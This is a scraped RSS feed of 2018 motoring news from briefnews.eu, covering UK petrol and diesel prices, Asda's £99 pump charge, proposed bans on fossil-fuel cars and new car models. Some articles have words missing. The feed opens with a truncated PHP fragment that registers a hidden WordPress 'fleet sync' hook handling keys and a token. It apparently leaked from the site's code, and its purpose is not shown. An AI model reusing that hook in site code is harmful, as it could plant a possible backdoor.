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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); PETROL – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 06 Aug 2018 11:02:05 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png PETROL – Brief News https://briefnews.eu 32 32 New Vauxhall Insignia variant added – Punchier range-topping petrol engine added https://briefnews.eu/new-vauxhall-insignia-variant-added-punchier-range-topping-petrol-engine-added/ https://briefnews.eu/new-vauxhall-insignia-variant-added-punchier-range-topping-petrol-engine-added/#respond Mon, 06 Aug 2018 11:02:05 +0000 http://briefnews.eu/new-vauxhall-insignia-variant-added-punchier-range-topping-petrol-engine-added/

A new Vauxhall Insignia model variant has been revealed in the UK.

This new car is set to sit at the top of the range and has been fitted with a more powerful engine.

It gains a 1.6-litre Direct Injection Turbo with Gasoline Particulate Filter. The four-cylinder engine produces 200PS and develops 280Nm of torque.

Vauxhall is offering the car in Grand Sport and Sports Tourer body styles and in Grand Sport guise to can achieve a top speed of 146mph and go from 0-60mph in 7.2 seconds.

Fuel economy for this model variant is rated at 44.8mpg and it produced 146g/km of CO2 emissions.

The car meets the new strict Euro 6d-TEMP emissions standard and the Gasoline Particulate Filter fitted helps filter out harmful emissions from the engine and exhaust.

It comes with a number of flagship features such as adaptive cruise control, IntelliLux LED matrix headlights and ergonomic seats.

Inside the car, the infotainment setup can be updated to the Multimedia and Multimedia Navi Pro infotainment systems.

The display at the centre of the dashboard can be specified up to eight-inches in size and drivers can also benefice from a Driver Information Custer.

It can also be specified in conjunction with an optional head-up display in combination with the Multimedia Navi Pro system.

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]]> https://briefnews.eu/new-vauxhall-insignia-variant-added-punchier-range-topping-petrol-engine-added/feed/ 0 Fuel costs SKYROCKET: May saw worst monthly rise in average price of petrol in 18 years https://briefnews.eu/fuel-costs-skyrocket-may-saw-worst-monthly-rise-in-average-price-of-petrol-in-18-years/ https://briefnews.eu/fuel-costs-skyrocket-may-saw-worst-monthly-rise-in-average-price-of-petrol-in-18-years/#respond Tue, 05 Jun 2018 15:12:59 +0000 http://briefnews.eu/fuel-costs-skyrocket-may-saw-worst-monthly-rise-in-average-price-of-petrol-in-18-years/

Fuel prices in the UK have hit the worst mostly rise in at least 18 years, reveals RAC Fuel Watch data.

Unleaded petrol increased from 123.43p to 129.41p, which saw the cost of filling up a 55-litre car to £71.38 – an increase of just £3.29 in one month.

endured a greater rise in cost of 6.12p in one month from 126.7p to 132.39p. It will now cost £3.37 more to fill up a 55-litre family car at £72.81.

This was the second worst rise in diesel since the 6.43p increase in May 2008 of between 120.83p to 129.26p.

RAC Fuel Watch data reveals that the average prices of both petrol and diesel have increased since 22 April, adding 8p a litre in the process.

In May the big four supermarkets raised petrol by 5.49p a litre and diesel by 5.88p while on the motorway, service stations added 6.37p to unleaded, taking it to 144.75p a litre, and 6.69p to diesel making it an eye-watering 147.80p a litre – 15p a litre above average UK prices for both fuels.

The forecourt increases have been driven by a jump in the price of oil, coupled with a weakening of the pound against the dollar.

Oil broke through the $ 80 a barrel mark twice in May – something which has not been seen for three and a half years (since 12 November 2014).

RAC fuel spokesman Simon Williams said: “May was a hellish month for motorists.

“Sadly, they have been besieged by pump price rises for three months with nearly 9p a litre being added to petrol since the beginning of March.

“The rising oil price together with a weaker pound is a punitive combination for anyone that drives regularly.

“For many people there is little alternative to the car for the majority of journeys they have to make so it is therefore very difficult to avoid feeling the pinch of rising pump prices.

“In the last week of May the oil price cooled a little to $ 76 a barrel which is slightly better news for motorists as the RAC’s two-week forecast is currently showing that average prices may even reduce by a penny or so.

“While this isn’t much, and could easily change in response to oil trading this week, it is at least a sign that the constant rise in forecourt prices may have stopped for the time being.

“Looking at the bigger picture, there is talk that OPEC – the Organization of the Petroleum Exporting Countries – may agree at its meeting on 22 June in Vienna to change its tack of restricting oil supply.

“The group, together with Russia, have been limiting production with a view to removing the long-term oil glut. This strategy has been successful and, as intended, caused the barrel price to rise.

“If a decision is taken to increase supply it may provide some much-needed relief for motorists at the pumps in the UK.”

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]]> https://briefnews.eu/fuel-costs-skyrocket-may-saw-worst-monthly-rise-in-average-price-of-petrol-in-18-years/feed/ 0 Supermarket petrol station price SHOCK – Fuel prices rise every day since March https://briefnews.eu/supermarket-petrol-station-price-shock-fuel-prices-rise-every-day-since-march/ https://briefnews.eu/supermarket-petrol-station-price-shock-fuel-prices-rise-every-day-since-march/#respond Mon, 28 May 2018 11:36:08 +0000 http://briefnews.eu/supermarket-petrol-station-price-shock-fuel-prices-rise-every-day-since-march/

Supermarket fuel station forecourts have increased the price of petrol and diesel every day since March, claims new research.

According to new analysis of RAC Fuel Watch data, supermarkets have added more than 8p a litre to the average price at their pumps.

On 26 March a litre of unleaded bought at the big four supermarkets averaged 116.66p and diesel 119.35p – eight weeks later on 23 May their pump prices average at 124.74p for petrol and 127.69p for diesel.

It is not just supermarket prices that are climbing in the UK as average prices have soared.

Over the same period of time UK average prices have risen by almost 8.5p a litre – although not every day.

Petrol has gone from 119.78p to 128.29p and diesel has increased from 122.54p to 131.15p.

One of the reasons for the price hikes in down to the price of oil increasing to above $ 80 a barrel.

This price increase is exacerbated by a poor pound to dollar exchange rate.

Fuel is traded in dollars so the poor $ 1.33 exchange rate is negatively affecting hr cost of fuel on the wholesale market.

RAC fuel spokesman Simon Williams said: “This is the worst series of consecutive daily supermarket price rises we have seen since we began monitoring this three and a half years ago.

“The supermarkets are being very quick to pass on increases in the wholesale price of fuel brought about by a 17% rise in the price of oil to above $ 80. Sadly, RAC Fuel Watch data shows they are far faster at passing on rises in the wholesale price than they are falls.

“Supermarkets are highly influential in the price charged at pumps across the UK as, despite operating under 18% of all forecourts, they sell 45% of all fuel sold. While other fuel retailers don’t buy as frequently they will often match supermarket price rises which means they increase as the supermarkets do.

“Unfortunately, the higher oil price has come at a time when the pound has weakened considerably against the dollar. This causes pain at the pumps due to the fact that, similar to oil, fuel is traded in dollars so the lower the exchange rate, the worse the price gets for UK motorists.

“If oil were to rise to $ 90 a barrel and the pound was to stay at $ 1.33 the average pump price of unleaded would shoot up to 137p a litre. And if it were to reach $ 100 a barrel with the current exchange rate we would likely see a new UK petrol high price of 143p a litre – clearly something none of us want. In either scenario the impact on private motorists and businesses in the UK would be substantial.

“The last time oil was at $ 100 a barrel forecourt prices were around 129p a litre for petrol and 133p for diesel because the pound was worth 20% more at $ 1.67. This is sadly a very clear demonstration of how important the strength of sterling is in the price motorists pay for fuel.

“The outlook for fuel prices in the weeks ahead is not good with another penny a litre expected to be added to the current average prices of petrol and diesel. All we can do is hope the international forces which have caused the oil price to rise ease and take the heat out of prices on the forecourt.

“In the meantime motorists may want to think about changing their driving styles to improve fuel economy. Avoiding harsh acceleration and braking, and keeping their vehicles moving at more constant, slightly slower speeds could help take some of the sting out of fuel bills.”

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]]> https://briefnews.eu/supermarket-petrol-station-price-shock-fuel-prices-rise-every-day-since-march/feed/ 0 VICTORY for drivers as Asda SCRAPS £99 petrol station pump charge following backlash https://briefnews.eu/victory-for-drivers-as-asda-scraps-99-petrol-station-pump-charge-following-backlash/ https://briefnews.eu/victory-for-drivers-as-asda-scraps-99-petrol-station-pump-charge-following-backlash/#respond Thu, 10 May 2018 13:45:45 +0000 http://briefnews.eu/victory-for-drivers-as-asda-scraps-99-petrol-station-pump-charge-following-backlash/

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Supermarket giant Asda has been forced to suspend the its, after facing backlash from disgruntled customers.

The charge debited £99 from their account on top of the purchase as a way to ensure there was enough money in the account to pay for the fuel.

However, the money would never actually leave the account but disappear from the balance until the fuel was paid for.

Asda has now ditched the charge following complaints from the public including Jade Louise, 22, who claimed the supermarket has “taken” £99 from her account before she filled up as part of a trial.

The student’s revelation prompted a consumer backlash over industry-wide plans for the charge and forced Asda to back down.

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Jade, from Dewsbury, West Yorkshire, said: “I still can’t quite believe it. I only posted it to warn others of the new system because Asda wasn’t doing it.

“Not everyone can afford to not have access to £99 even if only for a few days. “All I did was speak out about the issue, the rest was down to the community of Facebook.”

She added: “I’m just so glad that I’ve been able to help make Asdasee sense and realise how unrealistic that new system was.

“I am happy they have stopped the trials. I can’t say it hasn’t damaged the trust I had in them.

“I understand that Visa and MasterCard increased the pre-authorisation amount last year and that’s why Asda trialled this but it wasn’t fair to not let customers know of this change by at least putting up signs.” Jade said she was baffled as to what Asda were trying to achieve with the trials.

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“I think it was unrealistic and they haven’t thought carefully enough about what could go wrong and how it could negatively impact their customers.

“They haven’t been able to guarantee return of funds within minutes as promised whether that’s down to the bank orAsda, there is clearly faults in the system.

“I don’t understand why they don’t let you select your own debit amount, pay and then have the machine cut off once you reach that amount, or better yet bring back manned stations and give people work.

“I hope Asda can come up with a system that works for them and their customers and I wish them all the best with it and I hope in future they notify customers when and if there is a change to prevent situations like this.”

A pre-authorisation charge is taken at the beginning of a ‘pay-at-pump’ transaction to verify the card and it used to be just £1, to check it had funds.

Last year, both Visa and MasterCard introduced new industry rules regarding pre-authorisation charges.

The amount was increased to £99 to protect both the store and customer.

This £99 is to ensure the amount for the fuel, which may be a lot less, could be covered by the customer’s bank balance.

Asda have now announced that the store would suspend the scheme until it could be confident that money would not be held by individual banks and would be immediately refunded.

In a statement, Asda said: “The intention of Visa and MasterCard in this trial was to ensure customers had sufficient funds in their account to pay for their fuel, and the £99 would be immediately released back to customers by their bank.

“Whilst we have received very few complaints about this process, until we can be given assurance that all banks are able to comply with the Visa and MasterCard rule change, we cannot continue to implement this change and risk harming our customers’ trust in us.”

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On Tuesday A MasterCard spokesman said: “Last year a change in industry rules meant that petrol stations with automated fuel pumps were required to pre-authorise a value equivalent to a full tank of fuel, so that customers didn’t fill up with more fuel than they could afford.” “This is designed to protect them, and the petrol station.”

A Visa spokesman said: “The way that pay-at-pump fuel payments are treated has been standardised across the industry to ensure security for individual cardholders, retailers and card issuers.

“When an individual chooses to pay at a pay-at-pump fuel dispenser, an initial amount is held against their account while they dispense their fuel to ensure that they have sufficient funds to pay for the cost of their fuel.

“This initial amount should be adjusted immediately after fuel is dispensed to reflect the actual cost of the fuel.

“Visa has been working closely with card issuing banks to ensure that consumers do not experience delays in the adjustment of the initially-held amount, however if consumers notice that initial amounts held against their accounts are not adjusted immediately, they should raise this with their card issuing bank in the first instance.”

Morrisons and Sainsbury’s have confirmed they have not yet implemented this at any of their petrol stations. Tesco have not responded when asked for a comment.

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Petrol and diesel cars could be banned in the UK by 2030

There have been calls for the  to be brought forward, as the 2040 target “lacks sufficient ambition”, said MPs.

A new joint committee report has urged the Government to determine the earliest date manufacturers must sell only alternatively fuelled vehicles in the UK.

It was launched amid concerns surrounding the Government’s repeat court challenges over their air quality plan from environmental lawyers.

Other motives of the plan were to try and reduce the estimated 40,000 premature deaths each year in the UK.

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Elsewhere in the plan were calls for the automotive industry to contribute to a new clean air fund.

The ongoing problem with car emissions, mainly nitrogen dioxide emissions which are present in higher quantities in cars, started with the Volkswagen scandal in 2015.

Nervousness and uncertainty surrounding has led to a decline in the the fuel type’s market share from 47 per cent in 2016 to 37.8 per cent in 2017.

Automakers have hit back at ministers claiming that the they have an anti-diesel agenda which is causing the decline in sales

Last year it was announced that the sale of new petrol and diesel cars would be banned in the UK by 2040.

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The Commons’ Environment Food and Rural Affairs, Environmental Audit, Health and Social Care, and Transport Committees warned that this did not do enough to address the issue.

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Their report said: “There is insufficient urgency in current policies to accelerate vehicle fleet renewal.

“Whilst we welcome the Government’s commitment to end the sale of new petrol and diesel cars by 2040, this target lacks sufficient ambition.

“It is too distant to produce a step-change in industry and local government planning, and falls far behind similar commitments from other countries.”

Other countries and cities across Europe have stated more ambitious plans to slash air pollution.

Rome plans to stop diesel cars from entering its centre by 2024, while authorities in Paris want to ban both petrol and diesel cars by 2030.

Other cities including Athens, Madrid and Mexico City are also considering restrictions.

In addition to the automotive fund, there have been calls for a Clean Air Act to “enshrine the right to clean air in UK law” and a national air quality support programme for councils.

Mike Hawes, chief executive of the Society of Motor Manufacturers and Traders, said latest government reports show there have been improvements in air quality but he accepted that “more needs to be done”.

He went on: “Road transport is a major contributor which is why the UK automotive industry is investing billions in technology and other measures to help address the challenge.

“We should not divert investment away from the development of new, low emission vehicles as the fastest improvement to air quality in our towns and cities will be through the uptake of the latest technology.”

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A Government spokesman said: “By ending the sale of conventional new diesel and petrol cars and vans from 2040, the UK is going further than almost every other European nation.

“Air pollution has improved significantly since 2010, but we recognise there is more to do which is why we have a £3.5billion plan to reduce harmful emissions. We will set out further actions through a comprehensive clean air strategy later this year.

“We will carefully consider the joint committee’s report and respond in due course.”

Rosie Rogers, clean air campaigner at Greenpeace, called on the ban to be implemented by 2030 at the latest.

She said: “We now know diesel is toxic so there can be no more excuses and no more delays.

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“The Government must prioritise public health and bring forward its phase-out date by at least 10 years.

“Other countries have managed it, and people who live in the UK deserve clean air just as much.”

Martin Tett, environment spokesman at the Local Government Association, said: “The 2040 target set by the Government for the end of the sale of conventionally-fuelled vehicles is too far away to tackle a public health problem that is shortening lives now.

“It cannot overlook the immediate measures that could have drastic improvements on public health in areas where air quality problems are at their most severe.”

Alison Cook, director of policy at the British Lung Foundation, said diesel is an “invisible danger” and “the sooner these vehicles are off our roads the healthier we will all be”.

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]]> https://briefnews.eu/bad-news-for-drivers-petrol-and-diesel-cars-could-be-banned-in-the-uk-by-2030/feed/ 0 Rimac Concept Two electric hypercar is not a Tesla Roadster killer its a PETROL killer https://briefnews.eu/rimac-concept-two-electric-hypercar-is-not-a-tesla-roadster-killer-its-a-petrol-killer/ https://briefnews.eu/rimac-concept-two-electric-hypercar-is-not-a-tesla-roadster-killer-its-a-petrol-killer/#respond Fri, 09 Mar 2018 11:14:45 +0000 http://briefnews.eu/rimac-concept-two-electric-hypercar-is-not-a-tesla-roadster-killer-its-a-petrol-killer/

Rimac unveiled the the all new earlier this week at the Geneva Motor Show.

The new all-electric hypercar has been revealed with specs to rival the

Since the Tesla Roadster was revealed at the  launch towards the end of 2017, a new benchmark was set for manufacturers. 

It boasted an unbelievable top speed of over 250mph and a 0-60mph speed of 1.9 seconds – the first car ever to travel 0-60mph in sub-two seconds. 

According to reports Rimac adjusted their targets, with the creation of the Concept Two, after hearing the specs for the Roadster. 

The Concept Two was unveiled at the Geneva Motor Show and it boasts an unbelievable set of specs. 

Rimac claims that the car can travel form 0-60mph in just 1.85 seconds and has a top speed of 258mph – trumping the estimates from Tesla for the Roadster.

Whats more it can go from 0-100mph in 4.3 seconds and a quarter mile in just 9.1 seconds. 

Powering the car is four electric motors producing 1,914 bhp and 2,300Nm of torque and are fed by the 120kWh of batteries split into two packs. 

Rimac claims that the car will have 650km (403 miles) of range, however, claim that it will be affected when utilising the car’s full power. 

Its battery pack is made up from a lithium-manganese-nickel combination and can be recharged up to 80 per cent in just 30 minutes if connected to a fast charger.  

The C Two is also set up for Level 4 autonomy thanks to its eight cameras, lidar, six radars and twelve ultrasonic sensors. 

It comes with a list of driver assistances systems including lane assist and auto braking. 

The car is also pretty smart too and uses facial recognition to open its butterfly doors and starting the engine, negating the use of a key. 

Rimac also claims the car can read your mood it will play soothing music and and soften the ride if it senses your stress or anger. 

The car’s design is sleek, aggressive and sporty and doesn’t overtly scream that it is an EV, like some electric vehicles do, and has all the credentials of a petrol hypercar. 

It is clearly inspired by the Concept One but comes with a new front fascia, bonnet, doors, panels, spoiler and rear diffuser. 

Inside the car is equally as stunning. 

It features a digital driver concept and large central touchscreen to control the infotainment. 

Prices for the car have yet to be divulged but previously the manufacturer said it will cost more than the $ 1million Concept One.

It all but matches or exceeds the Tesla Roadster except for range and price, but unlike that car it is here now, three years earlier. 

C Two is expensive it deserves to be. 

Its pretty, eye-wateringly quick and has more range than its petrol counterparts, so it is less a Tesla killer and more like a petrol killer.

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Majorca and Ibiza are two popular holiday destinations in the Balearic islands for British tourists.

Those wanting some guaranteed good weather and cheap prices often choose to head to them during their summer for an affordable family holiday.

Yet the islands have announced plans to ban tourists from driving diesel and petrol cars on the island.

Anyone who breaks the ban could be fined.

The ban on diesel cars is hoping to be in place by 2025, with petrol cars being banned by 2035.

It is hoped that it will help to protect the island from CO2 emissions, with 35 per cent of them coming from traffic on the roads.

Those who want to rent a car on the island instead may face having electric cars, with all of them required to rid of diesel or petrol by 2035 as well.

Locals will not be forced to scrap their cars but will no longer be able to buy petrol and diesel cars in the coming years as well.

President of the Balearic government Francina Armengol commented: “The rules place the Balearics at the forefront of the communities in the fight against climate change with measures that accelerate the transition from diesel and gasoline to 100 per cent clean mobility, with electric public transport and vehicles.

“The goal is to lay the foundation for the future of the Balearic Islands to work fully with renewable energies and to grow smartly and sustainably, respecting what we most cherish: our territory and our environment.”

“The proposed law is ahead of the future and looks to the long term, planning the society we want on the 2050 horizon, with concrete and timed measures.

“It will allow us to fulfill the international commitments acquired in the Paris Agreement.”

It isn’t the only ban that has taken place on the islands, with Ibiza banning Airbnb on the island in a bid to solve the housing crisis.

Tourists often use the shared house website to find a cheaper location to stay when avoiding hotels and hostels.

Reports found that locals were being forced to sleep in their cars due to a housing shortage.

People who flout the ban face fines of up to £355,000. 

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In an attempt to balance the budget and rebuild the economy, Saudi Arabia has decided to raise domestic prices for gasoline and jet fuel, according to a source familiar with the matter.

In January, petrol will go up in price from 24 cents per liter to 44 cents, an increase of 80 percent. Jet fuel prices are expected to be hiked to international levels in one go, the unnamed source told Bloomberg. Other fuels such as diesel, kerosene and heavy fuel oil will reportedly see incremental price increases over several years.

Apart from jet fuel, prices won’t be pushed to international levels until 2023 at the earliest, and potentially by 2025. Prices for electricity will reportedly be raised indirectly and gradually along with other expenses.

The measure is part of a broader program aimed at removing state subsidies as Riyadh tries to offset the impact of the price increase on the kingdom’s struggling economy. The first cut in subsidies occurred in December 2015 after Saudi oil revenues contracted as crude prices fell.

The world’s largest oil exporter has taken several austerity measures over the past two years to eliminate the impact of low oil prices after the kingdom’s budget deficit expanded to 15 percent of GDP in 2015. The Saudi economy has continued to contract in the first two quarters of this year.

Along with raising domestic energy prices, the authorities are planning a cash transfer program. The measure, known as the Citizen’s Account, is aimed at refunding low- and middle-income Saudi families for austerity measures. The program is expected to start before the next round of subsidy cuts.

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Diesel drivers could be even worse off, with pump prices up by as much as 12p a litre by December.

The forecast comes following the price of Brent crude oil increasing by £13 a barrel since the middle of this year, up by about 20 per cent.

It prompted calls for Chancellor Philip Hammond to scrap a fuel duty rise in his Autumn Statement next week.

A barrel of oil is trading at more than $ 63 (US dollars), the highest since June 2015.

It means a definite price hike at the pumps for Britain’s 37 million drivers, say experts.

The RAC motoring group predicts petrol will rise by 3p a litre from its current 119p average, while diesel will go up 1p to 121p.

But George Buckley, UK economist at investment bank Nomura, predicts bigger hikes of between 7p and 8p a litre.

Simon Williams, the RAC’s fuel spokesman, said: “Motorists are going to be hit by rising pump prices in the next few weeks.”

If the average car uses about 35 litres of fuel a week, Nomura’s forecasts would add £150 a year extra to motoring bills.

Mr Buckley estimates that petrol prices are set to rise by 6.5 per cent at a time when food prices are going up 3.5 per cent, but earnings are lagging behind at 2.2 per cent.

Howard Cox, of the pressure group Fair Fuel UK, called on chancellor Philip Hammond to freeze fuel duty in his budget on November 22.

Fuel duty has remained at 57.95p a litre since 2011, but diesel is taxed higher than other EU countries.

Mr Cox said: “Britain’s struggling small traders and businesses deserve and need all the help they can get”.

Further rises in petrol and diesel will boost inflation and put pressure on the Bank of England to raise interest rates again, he warned.

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Drivers are being warned that the price of petrol is set to rise in the UK. 

Industry observers believe that following a drop in the price of unleaded fuel in October, drivers can expect a rise.

Prices from a barrel of oil increased by nine per cent throughout October. 

This took the price of a barrel to over $ 60 for the first time since July 2015. 

In October the average price of petrol by 0.67p per litre to 118.7p, while diesel rose for the fourth consecutive month by 0.59p to 120.8 per litre. 

RAC fuel spokesman Simon Williams said: “At the start of October there was a 6p saving in the wholesale price of unleaded which retailers eventually passed on to motorists in pump price reductions. 

“This month, however, the situation is reversed and the petrol wholesale price has gone up by 4p. 

“Inevitably, this increase will be passed on to motorists on the forecourt far more quickly than the cuts were made last month, but that is unfortunately the nature of ‘big’ fuel retailing: pass on wholesale rises quickly and cling on to savings for as long as possible. 

“Motorists may yet be spared from large pump prices if the United States takes advantage of the higher oil price to bring more fracking rigs online as this will bring more product on to the market, no doubt easing the barrel price. 

“Eyes will also switch to the Chancellor who delivers his Budget this month, and with higher wholesale costs filtering down to the forecourts, the last thing they’ll want to see is an increase in fuel duty. 

“We urge the Chancellor to resist this and leave the rate unchanged.”

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